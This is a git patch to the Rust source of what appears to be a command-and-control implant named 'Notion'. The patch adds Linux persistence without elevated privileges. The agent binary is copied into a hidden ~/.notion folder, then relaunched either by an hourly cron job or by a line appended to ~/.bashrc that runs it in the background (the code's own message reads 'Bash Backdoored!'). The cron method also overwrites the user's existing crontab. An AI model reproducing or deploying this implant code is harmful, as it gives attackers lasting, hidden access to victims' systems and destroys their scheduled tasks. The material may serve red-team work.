From f81affca1ebad5625174311eb9e70b787796d01a Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 8 Feb 2022 00:12:01 -0800 Subject: [PATCH] Implement Linux persistence (unelevated) --- agent/src/cmd/mod.rs | 2 +- agent/src/cmd/persist.rs | 52 ++++++++++++++++++++++++++++++++++++---- 2 files changed, 49 insertions(+), 5 deletions(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 623dbbb..2eadc7f 100644 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -99,7 +99,7 @@ impl NotionCommand { CommandType::Download(s) => download::handle(&s).await, CommandType::Getprivs => getprivs::handle().await, CommandType::Inject(s) => inject::handle(&s).await, - CommandType::Persist(s) => persist::handle(&s).await, + CommandType::Persist(s) => persist::handle(&s, config_options).await, CommandType::Portscan(s) => portscan::handle(&s).await, CommandType::Ps => ps::handle().await, CommandType::Pwd => pwd::handle().await, diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index 2cd93f8..a00cb68 100644 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -1,10 +1,12 @@ use std::error::Error; +use std::env::{var, args}; +#[cfg(not(windows))] use crate::cmd::{shell, save}; +#[cfg(not(windows))] use std::fs::{create_dir, copy}; #[cfg(windows)] use std::path::Path; #[cfg(windows)] use winreg::{RegKey}; -#[cfg(windows)] use std::env::{var}; -#[cfg(windows)] use std::env::args; #[cfg(windows)] use std::fs::copy as fs_copy; #[cfg(windows)] use winreg::enums::HKEY_CURRENT_USER; +use crate::cmd::ConfigOptions; /// Uses the specified method to establish persistence. /// @@ -18,7 +20,7 @@ use std::error::Error; /// /// * `cron`: Writes a cronjob to the user's crontab and saves the agent in the home folder /// * `systemd`: Creates a systemd service and writes the binary someplace special -pub async fn handle(s: &String) -> Result> { +pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result> { // `persist [method] [args]` #[cfg(windows)] { match s.trim() { @@ -103,6 +105,48 @@ pub async fn handle(s: &String) -> Result> { } } #[cfg(not(windows))] { - Ok("Not implemented yet!".to_string()) + + let app_path = args().nth(0).unwrap(); + let home = var("HOME")?; + let app_dir = format!("{home}/.notion"); + let dest_path = format!("{app_dir}/notion"); + + match s.trim() { + "cron" => { + // Copy the app to a new folder + create_dir(&app_dir)?; + if let Ok(_) = copy(&app_path, dest_path) { + // Save config for relaunch + save::handle(&format!("{app_dir}/cfg.json"), config_options).await?; + // Write a cronjob to the user's crontab with the given minutes as an interval. + let cron_string = format!("0 * * * * {app_dir}/notion"); + if let Ok(_) = shell::handle(&format!("echo '{cron_string}' | crontab - ")).await { + Ok("Cronjob added!".to_string()) + } else { + Ok("Could not make cronjob".to_string()) + } + } else { + Ok("Could not copy app to destination".to_string()) + } + } + "bashrc" => { + // Copy the app to a new folder + create_dir(&app_dir)?; + if let Ok(_) = copy(&app_path, dest_path) { + // Save config for relaunch + save::handle(&format!("{app_dir}/cfg.json"), config_options).await?; + // Write a line to the user's bashrc that starts the agent. + if let Ok(s) = shell::handle(&format!("echo '{app_dir}/notion & disown' >> ~/.bashrc ")).await { + Ok("Bash Backdoored!".to_string()) + } else { + Ok("Could not modify bashrc".to_string()) + } + } else { + Ok("Could not copy app to destination".to_string()) + } + }, + "service" => Ok("Persisting via service creation!".to_string()), + _ => Ok("Unknown persistence method!".to_string()) + } } } \ No newline at end of file